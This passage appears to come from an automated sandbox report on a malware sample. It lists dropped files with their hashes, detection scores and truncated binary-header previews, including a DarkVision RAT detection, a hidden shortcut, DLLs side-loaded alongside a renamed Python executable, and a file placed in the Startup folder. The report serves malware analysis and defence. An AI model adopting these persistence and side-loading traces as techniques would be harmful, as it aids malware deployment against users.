                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                  Joe Sandbox View:
                                                                                                                                                                  • Filename: MiJZ3z4t5K.exe, Detection: malicious, Browse
                                                                                                                                                                  • Filename: UolJwovI8c.exe, Detection: malicious, Browse
                                                                                                                                                                  • Filename: ONHQNHFT.msi, Detection: malicious, Browse
                                                                                                                                                                  • Filename: es.hta, Detection: malicious, Browse
                                                                                                                                                                  • Filename: BkTwXj17DH.exe, Detection: malicious, Browse
                                                                                                                                                                  • Filename: TVr2Z822J3.exe, Detection: malicious, Browse
                                                                                                                                                                  • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                                                  • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                                                  • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........:<..To..To..To.:.o..To...o..To.:9o..To.:.o..To.:/o..To..Uoe.To...o|.To...o..To...o..To...o..ToRich..To................PE..d...^.?e..........#......H.....................@..............................%.....h.$.....................................................XW..,........q...p..$h....#.8)......................................(....................`...............................text...RG.......H.................. ..`.rdata..R/...`...0...L..............@..@.data................|..............@....pdata..$h...p...j..................@..@Shared...............p..............@....tls.................x..............@....rsrc....q.......r...z..............@..@................................................................................................................................................................................................................

                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4iloails.yak.ps1

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                  File Type:ASCII text, with no line terminators
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):60
                                                                                                                                                                  Entropy (8bit):4.038920595031593
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                  Malicious:false
                                                                                                                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ygcpb10a.0mm.psm1

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                  File Type:ASCII text, with no line terminators
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):60
                                                                                                                                                                  Entropy (8bit):4.038920595031593
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                  Malicious:false
                                                                                                                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\btbiig

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  File Type:PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):2681344
                                                                                                                                                                  Entropy (8bit):6.752183353667568
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:49152:J6N7dX1Eir/4pAviWA+Xv1blrnsLhhs0PEexD/VkZgzwxbCTFHiVPnBDGiD4BZ/h:K5cp//DnFHq2Zf
                                                                                                                                                                  MD5:AE1CCA66735C03678176331CDE34286A
                                                                                                                                                                  SHA1:9153A73173F9280F71D8E3C08591CD218047CA96
                                                                                                                                                                  SHA-256:6B7B7A03F74569935982B28D92D94CDB346D98FF8D2666830C2DB54B53AA4F77
                                                                                                                                                                  SHA-512:CE4F95718009B81FB780CB7FA2E708D1B38FC8075BAB7E1984CDE4BF7D0139593763A49697BC1470E672CA12377C5AE62B91E95F4F7C4F378C4D19E30B2B621E
                                                                                                                                                                  Malicious:true
                                                                                                                                                                  Antivirus:
                                                                                                                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....cW.................X&...(..b..W..........@............................../.....t.(...`... ..............................................p/......./.8....0(.8j............/............................. %(.(...................Hq/..............................text....W&......X&.................`..`.data...0....p&......\&.............@....rdata..(.....'......r'.............@..@.pdata..8j...0(..l....(.............@..@.xdata..TR....(..T...z(.............@..@.bss.... a....)..........................idata.......p/.......(.............@....CRT....0...../.......(.............@....tls........../.......(.............@....rsrc...8...../.......(.............@..@.reloc......../.......(.............@..Buaub........../.......(.............@...................................................................................................................................

                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\cdf3554a

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exe
                                                                                                                                                                  File Type:data
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):5778481
                                                                                                                                                                  Entropy (8bit):7.7600138576244095
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:98304:LvM6QfZ6HHNuvHlgZZwFzLfeaNmzKDrtYRU8A9cQMxHSxij2sIa7w8DiFX/1RnKO:LvEZ6HHNIgZZwFzLfe4+p/76X/h
                                                                                                                                                                  MD5:7B2F8292799AA614E1C40A4DBCA87195
                                                                                                                                                                  SHA1:B6F8F75B88BDC995DC9FEDE053D4FA27A223D486
                                                                                                                                                                  SHA-256:483D5AC85D473A993BFFF3640C5A41D1406E45DCFC18393B55375E57C2B8D0E9
                                                                                                                                                                  SHA-512:2BF41788C1B8B8D930E0D16F7F05E34DD7F0EAFF9EDB2989AC5B14A7611932EDA0063BF56C5E2B81F58F164E3971CC6AF109D00C8FB950D20F975AF1AC519406
                                                                                                                                                                  Malicious:false
                                                                                                                                                                  Preview:|...~...........~...[...k...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................Z...;...Z........(.....,..............,..................................................<........:......................................................................................<.....6.........................................................................................Z..;...#.......:.................................................................................Q...M...........................................

                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\de6c5c64

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exe
                                                                                                                                                                  File Type:data
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):1144018
                                                                                                                                                                  Entropy (8bit):7.599752530098233
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:24576:1BUqAOiscWrrxSf5xyF/BKnTMh//2h18Na/L:1BUqtrrxSf5xyF/z/+h2Na/L
                                                                                                                                                                  MD5:F2351F4F1F5542579B2D405DA30B5EE8
                                                                                                                                                                  SHA1:9A46F5F547F3228E3428061A462DE9C3525165F1
                                                                                                                                                                  SHA-256:2B589338289F7212A2A472837FFDD32FD082385A57B2503E03474A97B6680AE9
                                                                                                                                                                  SHA-512:4661FC5372F83D21F47008655734BAC78AB78BD8198C295A83D4A0B0A882B502F66AA1A7C4A8F7B04CBDF3AFFAA1E7D687234016C8C0C3700EA1007C36EED07C
                                                                                                                                                                  Malicious:false
                                                                                                                                                                  Preview:|...~...........~...[...k...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................Z...;...Z........(.....,..............,..................................................<........:......................................................................................<.....6.........................................................................................Z..;...#.......:.................................................................................Q...M...........................................

                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\eee74f90

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exe
                                                                                                                                                                  File Type:data
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):5778481
                                                                                                                                                                  Entropy (8bit):7.760013816819972
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:98304:HvM6QfZ6HHNuvHlgZZwFzLfeaNmzKDrtYRU8A9cQMxHSxij2sIa7w8DiFX/1RnKO:HvEZ6HHNIgZZwFzLfe4+p/76X/h
                                                                                                                                                                  MD5:B020DD2D1CD76A9A6D3C88D21BAC369D
                                                                                                                                                                  SHA1:4D8919D0778E26BB8B603C5DC63FC0060408E84E
                                                                                                                                                                  SHA-256:C437D81092C47B541AC552215623B771AC0419AC3CB36C0C92EE0E9D7B35D588
                                                                                                                                                                  SHA-512:C086524F67C6D381F419D22971DDBFE45318C25C5AE7154BF425E9717FA1923FF62B6C487B0EAA368896862BA647604BE1908191B6CD74E98473D50F66755534
                                                                                                                                                                  Malicious:false
                                                                                                                                                                  Preview:|...~...........~...[...k...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................Z...;...Z........(.....,..............,..................................................<........:......................................................................................<.....6.........................................................................................Z..;...#.......:.................................................................................Q...M...........................................

                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\f7742e01

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exe
                                                                                                                                                                  File Type:data
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):5778481
                                                                                                                                                                  Entropy (8bit):7.760013598866868
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:98304:+vM6QfZ6HHNuvHlgZZwFzLfeaNmzKDrtYRU8A9cQMxHSxij2sIa7w8DiFX/1RnKO:+vEZ6HHNIgZZwFzLfe4+p/76X/h
                                                                                                                                                                  MD5:04B3F388892B1D058D7A279C01E9B204
                                                                                                                                                                  SHA1:418F5DB738D6E3BE608A60AEA7F31D8DC8DA7F2A
                                                                                                                                                                  SHA-256:72A13DFB11DF30338F1506CA2FA4DFAD15A1ECDC7B0A6F94CA722FF216FB92BC
                                                                                                                                                                  SHA-512:CF50B333EEC48114411922DDB6A7E6208CC18C62CDCDB2BB5101F10B0E4DA28833B84BB504EBC1BD717387EBE0B55A0571804500C4E321CFEB83EAF79F05FE41
                                                                                                                                                                  Malicious:false
                                                                                                                                                                  Preview:|...~...........~...[...k...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................Z...;...Z........(.....,..............,..................................................<........:......................................................................................<.....6.........................................................................................Z..;...#.......:.................................................................................Q...M...........................................

                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\mjiwajgkqgx

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Sat Dec 7 13:43:30 2024, mtime=Sat Dec 7 13:43:31 2024, atime=Fri Nov 15 06:14:42 2024, length=29152, window=hide
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):879
                                                                                                                                                                  Entropy (8bit):4.970331492116619
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:12:8Dlo6U4Sqtf0WCHgdY//oZLSLwXbGmiQq/TQ7E/jAKmiPgjAuBrHZJ/Q/sufs9+u:8jSo/2g+gZIW2RaAklB2fsY7Bm
                                                                                                                                                                  MD5:F40BA619DEA744666C3D84A25433C3C6
                                                                                                                                                                  SHA1:56956BC4590C6C367D74475168D2F497A269FC5E
                                                                                                                                                                  SHA-256:CC1291D2BCB128AAD4B252E787FF02FA5D9B73A41D0DC763C692D716D63F323B
                                                                                                                                                                  SHA-512:1391DAC0871237EE8A99BF3FE245B1D10C607420F109B27177CF8281B2B3B88E17079D6990B5D01B2AEC81FA9A91BF77751EFC977E59BAC286D2E4C0A293B497
                                                                                                                                                                  Malicious:false
                                                                                                                                                                  Preview:L..................F.... ....}Ob.H....pb.H...]e..7...q........................:..DG..Yr?.D..U..k0.&...&......vk.v....8..f.H....k.H......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Ydu...........................%..A.p.p.D.a.t.a...B.V.1......Ysu..Roaming.@......CW.^.Ysu...........................m..R.o.a.m.i.n.g.....\.1......Ypu..ALTDAE~1..D......Ypu.Yqu....d+.....................X..A.l.t.D.a.e.m.o.n.....`.2..q..oY.9 .pyexec.exe..F......Ypu.Ypu.....2........................p.y.e.x.e.c...e.x.e.......b...............-.......a...........1. ......C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exe..".....\.....\.R.o.a.m.i.n.g.\.A.l.t.D.a.e.m.o.n.\.p.y.e.x.e.c...e.x.e.`.......X.......287400...........hT..CrF.f4... .2.......,.......hT..CrF.f4... .2.......,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\sfywpwa

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  File Type:PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):2681344
                                                                                                                                                                  Entropy (8bit):6.752183353667568
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:49152:J6N7dX1Eir/4pAviWA+Xv1blrnsLhhs0PEexD/VkZgzwxbCTFHiVPnBDGiD4BZ/h:K5cp//DnFHq2Zf
                                                                                                                                                                  MD5:AE1CCA66735C03678176331CDE34286A
                                                                                                                                                                  SHA1:9153A73173F9280F71D8E3C08591CD218047CA96
                                                                                                                                                                  SHA-256:6B7B7A03F74569935982B28D92D94CDB346D98FF8D2666830C2DB54B53AA4F77
                                                                                                                                                                  SHA-512:CE4F95718009B81FB780CB7FA2E708D1B38FC8075BAB7E1984CDE4BF7D0139593763A49697BC1470E672CA12377C5AE62B91E95F4F7C4F378C4D19E30B2B621E
                                                                                                                                                                  Malicious:true
                                                                                                                                                                  Antivirus:
                                                                                                                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....cW.................X&...(..b..W..........@............................../.....t.(...`... ..............................................p/......./.8....0(.8j............/............................. %(.(...................Hq/..............................text....W&......X&.................`..`.data...0....p&......\&.............@....rdata..(.....'......r'.............@..@.pdata..8j...0(..l....(.............@..@.xdata..TR....(..T...z(.............@..@.bss.... a....)..........................idata.......p/.......(.............@....CRT....0...../.......(.............@....tls........../.......(.............@....rsrc...8...../.......(.............@..@.reloc......../.......(.............@..Buaub........../.......(.............@...................................................................................................................................

                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\yawa

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):412672
                                                                                                                                                                  Entropy (8bit):5.094493325686174
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:6144:H34ElVxx2j9kwTX1/AmOK3G0Ah5RYly06roFkE:oy2j9FPAxYlAiD
                                                                                                                                                                  MD5:0D76EE310BCE62EB6870303E2262F315
                                                                                                                                                                  SHA1:85617D30D0FC2FC8F7BB663DDBE991A50B998DA4
                                                                                                                                                                  SHA-256:FB38E61BEB17DF139327F82B6D5E34A6867DA49AC6DBA7FBD746FCB7FCED09BE
                                                                                                                                                                  SHA-512:F965E3472009D9E8B8FB366BD585C52E91D634BB602F1AE5D4EE90918F62DD2E6A8CA0877688D754637B72E2E219F68DD6C936291B340F4BD857DC28BB26AC55
                                                                                                                                                                  Malicious:true
                                                                                                                                                                  Yara Hits:
                                                                                                                                                                  • Rule: JoeSecurity_DarkVisionRat, Description: Yara detected DarkVision Rat, Source: C:\Users\user\AppData\Local\Temp\yawa, Author: Joe Security
                                                                                                                                                                  Antivirus:
                                                                                                                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 63%
                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................6..............................................6.....7....................Rich....................PE..d....H0Y.........."..........Z.......K.........@..........................................@.....................................................d............p..D....................................................................0...............................text...n........................... ..`.rdata.......0......................@..@.data...........R..................@....pdata..D....p......................@..@.rsrc................&..............@..@.reloc...............*..............@..Baguc..... ...........8..............@...................................................................................................................................................................................................................

                                                                                                                                                                  C:\Users\user\AppData\Roaming\AltDaemon\hvotj

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Users\user\pyexec.exe
                                                                                                                                                                  File Type:data
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):4649893
                                                                                                                                                                  Entropy (8bit):7.946914769925769
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:98304:0n6Rl5wOCyxegMxW5GH+GUbrEfwNsvCTBn19t1DzvhmwQ8:s6RlBCxgMxMGH+xbrEYNyC1n19tZVmwZ
                                                                                                                                                                  MD5:E70EE3BCA802DB0197B2632B0F2AB4DB
                                                                                                                                                                  SHA1:AA7E9665BAAA4A2C487DD5D1059B2CB2CDCAE8E3
                                                                                                                                                                  SHA-256:0CBF2430F07B5BDEF2633605E0A65ED68AC1B3DBF3AE5BB8B79695F40A48AEFD
                                                                                                                                                                  SHA-512:E93C763EFF21A05C8D283A07EA9A6A357FA92394F2DA35E75F3796E8CA94F9F220811EAD59B5D562A7F20A6E2CAA459A20DC8076A749D81628253DCBA1FE1709
                                                                                                                                                                  Malicious:false
                                                                                                                                                                  Preview:Vp....DK.m.h..H\.L..u...U....c....V...cD....XR.qf^fm.P..O.o.Zb..Oa..x......E_l.C..C.q..b...s.T.c..f...wt...i..v.rQ.P.R.u]V......p.M...fAt.P...\..XR.x...uW..pW.._PuI..V.iX.dg.b.w..v.o.MeSNmJ...\.n.c..E....yuLim..NX..h..._v.MAI..Z...].RNF...qw..I..IJT.mVGQ..bb.....p.[..I.i.U..^MQj..p.....d.C..mYxDSn.i.RIJ........KS.U..d.M.D.Q.rX..WX.Q.Mn....jIa.Obt..yB.^.M..U.^S.g[.gGdIk.qqhZjuy.\uLsE.S....ovkO..w.p.D.lhNg.....xZ.....Tkgqh...tD..i.J..xT.pE...W..UXK.GcCo...s..R\.j.q...S\.a...Wvs..e......y.Qdo......fn....\.y_t...FWt.[wA...yPGo..wW_c...\rL.W.h._...fN..m...Eu.t...Wy.A..vk.h....\Ai.....oAx....yGM.[d.....k...Q..M...OC..n......`DR..xx.Nou....Dp..A....\....si..w..ZYe.o.TFII...HO.H.M....jZ.v.p.].....\CYLk.o.c...bN.d.ODSSaDd..wPE............n.c..RVs....wLm.....tE..LQ..g.E.n......YG..X..[fW[.rK..TP.T.d.w.c..A\sG.m....uL......L.......^..P.R\...W.p..\....`[S...M.M.VB.XF_.R.Z.....S.q.T.PBTm..gYO..q.]o.y.t.r.S.H..M.......\..M.n....n.L.]...S.Ixhlg....L.i.[l..[yY\ga`..o..]..a..hBM.H...yj.VBY.di...d....NH

                                                                                                                                                                  C:\Users\user\AppData\Roaming\AltDaemon\ikvseqx

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Users\user\pyexec.exe
                                                                                                                                                                  File Type:data
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):22570
                                                                                                                                                                  Entropy (8bit):5.339220305698995
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:384:5Y2p26eG9CtHs5NU8+uw724entQq+J/779pI0cdZWT4He9KKO9VGi5E:5Y2A6eqsHs5NU8z4enp+JT7Hl8bGuE
                                                                                                                                                                  MD5:9078F84220E8B7379BFA2F4333995BC1
                                                                                                                                                                  SHA1:21F0CBEFFDCD99BCE6521AADEAD7AA6F68EDD666
                                                                                                                                                                  SHA-256:B7C4FEC4464E43A5736BF764F137F9AEE03C7E0D67755D964AB74854BC725F8F
                                                                                                                                                                  SHA-512:45DD6188E3085D34E632091068F9D7C31D22E2643A20FB1A01C1C255F593E71FA2AEB34FD85D22DFACFBBDF7A1D69750206745215EE77D01A759ADA9849BE090
                                                                                                                                                                  Malicious:false
                                                                                                                                                                  Preview:[.R..jx.GRhK.`.HgI.g.....Z...m...D......A.........mI..O.Rg..\s.....oNc.C..gr^vn.iVIy.B....TZ..g.WATY.F....v...H.....`....p..fP..OM.R..v.HDqs.....V..C...c..R.oE..xS\....`v..Ou.LkS..H.RL.UqNP.._d...f.gI]Qr....E..s..VA..A...w.UJ.\.IC.G..a.^.fPK....hbNaq.cq..[gP.QR..Vj.dSr....iX.x.aN.xk.m.V.O..`a.OEH\.Xy..oA.b.G..l..]Dh^o..i..l.RLRP.jaIpi..Q..Xv.I..GYpd.fd.....t.T..Y.n.H..v..X^.....d.d.nPy..Yk..ee.KKjS`J.m^.A...e.X...irv...J`..jyMLTn.H]Jn...FnxMp.Gg[.C.Y......KYU.XO.......TR^l\e....vvE..a.AGbJo..J.IJZGari...[R..ORhPP....LnM.Xd.n.Eo....qMgWOg..eL...U..SI.ff.hiZ.....pAUfw..IU.P...J..D..PD.W.lPD..Vq.\.Sm...Q.G.wdvuoNQ_.O\..d...`.....[.r.....L....AN\.l.mp.Ifoic.....[eBDmpk.P.......F.Gp...ST.....pUu.x...O..pn.J...oEqD.f.B.yItPao...CvL.hVk.`....X.gR.I.rb..k.hGpxI...daQyL.o.k..xO.SL.hc.a.G_wbV....bk....EV`.sOmMN...K..CqglZ...YPigWRO.q..L.NUw...q[...pVF..l.[j.Pm...j\..w._NAk.O..ec[`q.jI.X.wu.u...Z...k.g`.N.ZoC.t.M.a.w..k...g.su.WiT.c.m...o..MHr...k.LDE`..BxQ..WgY.p...........hJ.s^.tmFPYU..y.[.B.io

                                                                                                                                                                  C:\Users\user\AppData\Roaming\AltDaemon\msvcr90.dll

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Users\user\pyexec.exe
                                                                                                                                                                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):653952
                                                                                                                                                                  Entropy (8bit):6.885961951552677
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:12288:5hr4UC+Ju/A0BI4yWkoGKJwZ9axKmhYTMAO7wFKjCUmRyyPe:9JfyZFGKJjxKmhSMAB6CUmRyyPe
                                                                                                                                                                  MD5:11D49148A302DE4104DED6A92B78B0ED
                                                                                                                                                                  SHA1:FD58A091B39ED52611ADE20A782EF58AC33012AF
                                                                                                                                                                  SHA-256:CEB0947D898BC2A55A50F092F5ED3F7BE64AC1CD4661022EEFD3EDD4029213B0
                                                                                                                                                                  SHA-512:FDC43B3EE38F7BEB2375C953A29DB8BCF66B73B78CCC04B147E26108F3B650C0A431B276853BB8E08167D34A8CC9C6B7918DAEF9EBC0A4833B1534C5AFAC75E4
                                                                                                                                                                  Malicious:false
                                                                                                                                                                  Antivirus:
                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................6.........!.R...7.....&.....0.....6.....3...Rich..........PE..L.....i[...........!.....\..........@-.......p....Rx.........................0......?T....@..............................|..P...(................................3......................................@............................................text...t[.......\.................. ..`.data....g...p...D...`..............@....rsrc...............................@..@.reloc...7.......8..................@..B................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                  C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exe

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Users\user\pyexec.exe
                                                                                                                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):29152
                                                                                                                                                                  Entropy (8bit):6.656857622778623
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:768:+yq82Ud7/zfkn8I+ilpd4TILqIgXYoBCH/3hprl:Zq824LfMV4TqqIgXYoBCH/3hpB
                                                                                                                                                                  MD5:B6F6C3C38568EE26F1AC70411A822405
                                                                                                                                                                  SHA1:5B94D0ADAC4DF2D7179C378750C4E3417231125F
                                                                                                                                                                  SHA-256:A73454C7FAD23A80A3F6540AFDB64FC334980A11402569F1986AA39995AE496D
                                                                                                                                                                  SHA-512:5C0A5E9A623A942AFF9D58D6E7A23B7D2BBA6A4155824AA8BB94DBD069A8C15C00DF48F12224622EFCD5042B6847C8FB476C43390E9E576C42EFC22E3C02A122
                                                                                                                                                                  Malicious:true
                                                                                                                                                                  Antivirus:
                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......y...=...=...=....`.?...#.e.?...#.c.<...#.r.?.......8...=...f...#.u.$...#.b.<...#.g.<...Rich=...................PE..L......I................."...(......a,.......@....@..................................u......................................lB..P....p..@............N...#...........................................A..@............@..x............................text....!.......".................. ..`.rdata.......@.......&..............@..@.data........P.......0..............@....rsrc...@....p.......<..............@..@................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                  C:\Users\user\AppData\Roaming\AltDaemon\python27.dll

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Users\user\pyexec.exe
                                                                                                                                                                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):2649600
                                                                                                                                                                  Entropy (8bit):6.721887906506716
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:49152:od0krhjbVYU9U/ElyrLKlvGBO58GBjy9nYM6JBe4PjnhMsQHNClhIdYTf2O+yX3g:xkrRyylvGB65cNCMghMtHIledkp7j
                                                                                                                                                                  MD5:22AC09892F3706C6660D1FFE3387C07A
                                                                                                                                                                  SHA1:06E0F1EA9958B338598D0B1378918E4EFCA773B8
                                                                                                                                                                  SHA-256:2E158DFBCF37E16D4B0D73D59F5D583A733A12C7CFED243A76B2DE2FC9DEFBF7
                                                                                                                                                                  SHA-512:4E40E904E680FD861BBB782C4B790C3B290E612E8FC196AB520B1AB7DE53E696DF316D45968F744DDF218CE04CA06AE2AE1CBF8B6B8CAB9C04C980CA32BEFEB0
                                                                                                                                                                  Malicious:true
                                                                                                                                                                  Antivirus:
                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Bu....{...{...{..[...{..l...{..l....{..l....{..l...{...z.<.{..l..{..l...{..l...{..l...{.Rich..{.................PE..L...x..^...........!.........................................................).....\g)...@..........................g!..|...Q!.x....@(. ....................P(.2\.. ................................O!.@............................................text...z........................... ..`.rdata...D.......F..................@..@.data...pC....!..(....!.............@....rsrc... ....@(.......&.............@..@.reloc..~f...P(..h....'.............@..B................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                  C:\Users\user\AppData\Roaming\KNVYINNN.exe

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                  File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):6354975
                                                                                                                                                                  Entropy (8bit):7.985098108405359
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:98304:vi0cQUAXudZQ1m4MOOW8kU5cjdd/ZbFjOHTWCJz1EMDntxN3kxoZqpem2E29iaA:vi0x1huHk/VOH6ez9txEoZqgz9u
                                                                                                                                                                  MD5:E06AFCDB16D22BD45BC3A5B01C96DA3A
                                                                                                                                                                  SHA1:A0F776C4C64A808676082449F23858257F1AA132
                                                                                                                                                                  SHA-256:5665BB7E9557EC139E0A60FD43B8775FB9BB764DB581E7E2278C83B1F2C3C358
                                                                                                                                                                  SHA-512:13BEB7A8AA1AAE7F182CDC0215D56FEAC1F04532DCE6D1FDDC358D422E571616F2FCEA569BF6F1A8DCDC5733780938B4F82681E24290338852E6E37102741E33
                                                                                                                                                                  Malicious:true
                                                                                                                                                                  Antivirus:
                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 62%
                                                                                                                                                                  Preview:MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......u..!1jhr1jhr1jhr...r9jhr...r.jhr...r<jhr...r3jhr..ls#jhr..ks8jhr..ms.jhr8..r8jhr8..r3jhr8..r6jhr1jir<khr..ms.jhr..hs0jhr...r0jhr..js0jhrRich1jhr................PE..d......e.........."....!.....|.................@..........................................`.........................................0...4...d...P............P...$..................p...T...............................@...............p............................text...~........................... ..`.rdata..j...........................@..@.data....k..........................@....pdata...$...P...&..................@..@.didat..............................@..._RDATA..\...........................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................

                                                                                                                                                                  C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BITF7D6.tmp

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Windows\System32\svchost.exe
